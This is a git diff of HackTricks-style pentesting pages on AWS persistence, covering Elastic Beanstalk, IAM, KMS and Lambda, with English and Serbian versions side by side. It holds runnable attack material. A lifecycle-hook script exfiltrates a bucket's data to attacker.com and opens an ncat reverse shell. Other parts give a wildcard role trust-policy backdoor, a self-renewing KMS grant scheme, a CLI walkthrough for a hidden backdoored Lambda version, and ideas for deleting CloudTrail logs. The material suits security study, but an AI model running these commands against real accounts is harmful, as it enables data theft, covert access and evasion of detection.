Možete **create an access point** (sa root pristupom na `/`) pristupačan sa servisa na kojem ste implementirali **other persistence**, kako biste zadržali privilegovani pristup file system.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,81 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - Elastic Beanstalk Persistencija
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistencija u instanci
Da bi se održala persistencija unutar AWS naloga, neki **mehanizam za persistenciju može biti ubačen u instancu** (cron job, ssh key...) tako da napadač može pristupiti instanci i ukrasti IAM role **credentials from the metadata service**.
### Backdoor in Version
Napadač može ubaciti backdoor u kod unutar S3 repo tako da on uvek izvršava svoj backdoor i očekivani kod.
### New backdoored version
Umesto menjanja koda u aktuelnoj verziji, napadač može deploy-ovati novu backdoored verziju aplikacije.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Napadač može **konfigurisati lifecycle hook da periodično izvršava skriptu koja exfiltrates data ili održava pristup AWS nalogu**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,53 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,47 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### Uobičajene IAM Persistence
- Kreirajte korisnika
- Dodajte kontrolisanog korisnika u privilegovanu grupu
- Kreirajte access keys (novog korisnika ili svih korisnika)
- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (attached policies ili inline policies)
- Onemogućite MFA / Dodajte sopstveni MFA uređaj
- Napravite Role Chain Juggling situaciju (više o tome dole u STS persistence)
### Backdoor Role Trust Policies
Možete ubaciti backdoor u trust policy kako biste mogli da je assume-ujete za eksterni resurs koji kontrolišete (ili za sve):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Dodelite administratorske dozvole policy-ju koja nije u svojoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim tu verziju policy-ja dodelite kontrolisanom korisniku/grupi.
### Backdoor / Create Identity Provider
Ako nalog već veruje u uobičajenog identity providera (na primer Github), uslovi trust-a mogu se pojačati tako da ih napadač može zloupotrebiti.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# AWS - KMS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For mor information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,37 +0,0 @@
# AWS - KMS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Grant pristupa putem KMS policies
Napadač može iskoristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključu korisniku pod svojom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) za više informacija.
### Eternal Grant
Grants su drugi način da se određenom principalu dodele neke dozvole nad specifičnim ključem. Moguće je dodeliti grant koji omogućava korisniku da kreira grants. Štaviše, korisnik može imati više grants (čak identičnih) nad istim ključem.
Stoga, moguće je da korisnik ima 10 grants sa svim dozvolama. Napadač bi to trebao stalno pratiti. Ako se u jednom trenutku jedan grant ukloni, treba odmah generisati još 10.
(Koristimo 10, a ne 2, kako bismo mogli uočiti da je grant uklonjen dok korisnik još uvek ima neki grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Grant može da dodeli dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Lambda
Za više informacija pogledajte:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
### Lambda Layer Persistence
Moguće je **introduce/backdoor a layer to execute arbitrary code** kada se Lambda izvršava na prikriven način:
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Zloupotrebom Lambda Layers moguće je i zloupotrebiti extensions i persist u Lambda, a takođe i steal i modify requests.
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,106 +28,41 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Moguće je dodeliti pristup različitim lambda actions (kao što su invoke ili update code) eksternim nalozima:
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
A Lambda can have **different versions** (with different code each version).\
Zatim, možete kreirati **different aliases with different versions** of the Lambda i postaviti različite weights za svaki.\
Na ovaj način napadač može napraviti **backdoored version 1** i **version 2 with only the legit code** i **samo izvršavati version 1 u 1%** zahteva da bi ostao neprimetan.
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Kopirajte originalni kod Lambda-e
2. **Create a new version backdooring** originalni kod (ili jednostavno ubacite malicious code). Publish i **deploy that version** na $LATEST
1. Pozovite API gateway povezan sa Lambda-om da izvršite kod
3. **Create a new version with the original code**, Publish i deploy-ujte tu **version** na $LATEST.
1. Ovo će sakriti backdoored kod u prethodnoj verziji
4. Idite na API Gateway i **create a new POST method** (ili izaberite neki drugi method) koji će izvršiti backdoored verziju Lambda-e: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Obratite pažnju na final :1 u arn-u **koji ukazuje na version funkcije** (version 1 će u ovom scenariju biti backdoored).
5. Izaberite kreirani POST method i u Actions izaberite **`Deploy API`**
6. Sada, kada **call the function via POST your Backdoor** će biti invoked
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
Fakt da možete naterati **lambda functions run when something happen or when some time pass** čini Lambda-ove pogodnim i čestim načinom za obezbeđivanje persistence i izbegavanje detekcije.\
Evo nekoliko ideja kako da vaša **presence in AWS bude stealth kreiranjem Lambdas**.
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
- Svaki put kada se kreira novi user, Lambda generiše novi user key i šalje ga napadaču.
- Svaki put kada se kreira nova role, Lambda daje assume role permissions kompromitovanim korisnicima.
- Svaki put kada se generišu novi CloudTrail logs, obrišite/izmenite ih
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Iskoristite environment variable `AWS_LAMBDA_EXEC_WRAPPER` da izvršite wrapper script pod kontrolom napadača pre nego što runtime/handler počne. Dostavite wrapper preko Lambda Layer-a na `/opt/bin/htwrap`, postavite `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, i potom invoke-ujte funkciju. Wrapper se izvršava unutar procesa funkcijskog runtime-a, nasleđuje function execution role, i na kraju `exec`-uje pravi runtime tako da originalni handler i dalje normalno radi.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Iskoristite Lambda asynchronous destinations zajedno sa Recursion konfiguracijom da biste naterali funkciju da se kontinuirano ponovo invoke-uje bez eksternog scheduler-a (bez EventBridge, cron, itd.). Po defaultu, Lambda terminira recursive loops, ali podešavanjem recursion config na Allow ponovo omogućavate iste. Destinations isporučuju na nivou servisa za async invokes, tako da jedan seed invoke kreira stealthy, code-free heartbeat/backdoor channel. Opcionalno throttle-ujte sa reserved concurrency da biste držali noise nizak.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Kreirajte skriveni Lambda version sa attacker logic i scope-ujte resource-based policy na tu specifičnu version (ili alias) koristeći `--qualifier` parametar u `lambda add-permission`. Dodelite samo `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` attacker principal-u. Normalna invokacija putem imena funkcije ili primarnog alias-a ostaje nepromenjena, dok napadač može direktno invoke-ovati backdoored version ARN.
Ovo je stealthier nego izlaganje Function URL i ne menja primarni traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### Freezing AWS Lambda Runtimes
Napadač koji ima `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, i `lambda:GetRuntimeManagementConfig` permissions može izmeniti runtime management configuration funkcije. Ovaj napad je posebno efikasan kada je cilj zadržati Lambda funkciju na vulnerable runtime version ili očuvati kompatibilnost sa malicious layers koji možda nisu kompatibilni sa novijim runtime-ovima.
Napadač menja runtime management configuration da bi pin-ovao runtime version:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Proverite primenjenu konfiguraciju:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Opcionalno: zaključajte na određenu verziju runtime-a
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Ograničite na određenu verziju runtime-a:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,46 @@
# AWS - Zloupotreba Lambda Ekstenzija
# AWS - Abusing Lambda Extensions
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Ekstenzije
## Lambda Extensions
Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, bezbednost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije kontejnerskih slika](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**.
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
- **Interni ekstenzije** se spajaju sa procesom izvršavanja, manipulišući njegovim pokretanjem koristeći **promenljive okruženja specifične za jezik** i **wrapper skripte**. Ova prilagođavanja se primenjuju na niz izvršnih okruženja, uključujući **Java Correto 8 i 11, Node.js 10 i 12, i .NET Core 3.1**.
- **Eksterni ekstenzije** rade kao odvojeni procesi, održavajući usklađenost sa životnim ciklusom Lambda funkcije. Kompatibilni su sa raznim izvršnim okruženjima kao što su **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1**, i **prilagođena izvršna okruženja**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
Za više informacija o [**kako lambda ekstenzije funkcionišu proverite dokumentaciju**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### Eksterni Ekstenzija za Održavanje, Krađu Zahteva i Modifikaciju Zahteva
### External Extension for Persistence, Stealing Requests & modifying Requests
Ovo je sažetak tehnike predložene u ovom postu: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima pun pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.**
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Štaviše, dok Lambda ekstenzije imaju mogućnost da **pretplate na događaje invokacije**, AWS ne otkriva sirove podatke ovim ekstenzijama. Ovo osigurava da **ekstenzije ne mogu pristupiti osetljivim informacijama** koje se prenose putem HTTP zahteva.
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Init (Rapid) proces prati sve API zahteve na [http://127.0.0.1:9001](http://127.0.0.1:9001/) dok se Lambda ekstenzije inicijalizuju i izvršavaju pre nego što se izvrši bilo koji kod izvršavanja, ali nakon Rapida.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
Promenljiva **`AWS_LAMBDA_RUNTIME_API`** označava **IP** adresu i **broj** porta Rapid API-ju za **dečije procese izvršavanja** i dodatne ekstenzije.
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
> [!WARNING]
> Promenom **`AWS_LAMBDA_RUNTIME_API`** promenljive okruženja na **`port`** kojem imamo pristup, moguće je presresti sve akcije unutar Lambda izvršavanja (**man-in-the-middle**). Ovo je moguće jer ekstenzija radi sa istim privilegijama kao Rapid Init, a kernel sistema omogućava **modifikaciju memorije procesa**, omogućavajući promenu broja porta.
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikacija promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
Alat [**lambda-spy**](https://github.com/clearvector/lambda-spy) je kreiran da izvrši tu **memorijsku pisanje** i **ukrade osetljive informacije** iz lambda zahteva, drugih **ekstenzija** **zahteva** i čak **modifikuje ih**.
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
## Reference
## References
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,88 +0,0 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Sažetak
Kreirajte skrivenu Lambda verziju sa attacker logikom i primenite resource-based policy na tu konkretnu verziju (ili alias) korišćenjem parametra `--qualifier` u `lambda add-permission`. Dodelite samo `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` attacker principalu. Normalna pozivanja preko imena funkcije ili primarnog alias-a ostaju nepromenjena, dok attacker može direktno pozvati backdoored verziju koristeći njen ARN.
Ovo je diskretnije od izlaganja Function URL i ne menja primarni alias za saobraćaj.
## Potrebne dozvole (attacker)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Koraci napada (CLI)
<details>
<summary>Objavite skrivenu verziju, dodajte dozvolu ograničenu na qualifier, pozovite kao attacker</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Impact
- Obezbeđuje neprimetan backdoor za pozivanje skrivene verzije funkcije bez menjanja primarnog alias-a ili izlaganja Function URL-a.
- Ograničava izloženost samo na navedenu verziju/alias preko resource-based policy `Qualifier`, smanjujući površinu detekcije dok zadržava pouzdano pozivanje za principal napadača.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,95 +0,0 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristite Lambda asynchronous Destinations zajedno sa Recursion konfiguracijom da funkcija kontinuirano ponovo poziva samu sebe bez spoljnog raspoređivača (nema EventBridge, cron, itd.). Po defaultu, Lambda prekida rekurzivne petlje, ali postavljanjem Recursion konfiguracije na Allow ponovo ih omogućavate. Destinations isporučuju na serverskoj strani za async invokes, tako da jednim inicijalnim invoke-om kreirate prikriveni, bez-kodni heartbeat/backdoor kanal. Po želji ograničite sa reserved concurrency da držite šum niskim.
Napomene
- Lambda ne dozvoljava da se funkcija direktno konfigurše da bude njen sopstveni destination. Koristite function alias kao destination i omogućite execution role da pozove taj alias.
- Minimalne dozvole: mogućnost čitanja/azuriranja target funkcije event invoke config i recursion config, objavljivanja verzije i upravljanja alias-om, i ažuriranja policy-ja execution role funkcije da dozvoli lambda:InvokeFunction na alias-u.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) Nabavite ARN funkcije i trenutnu Recursion postavku
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
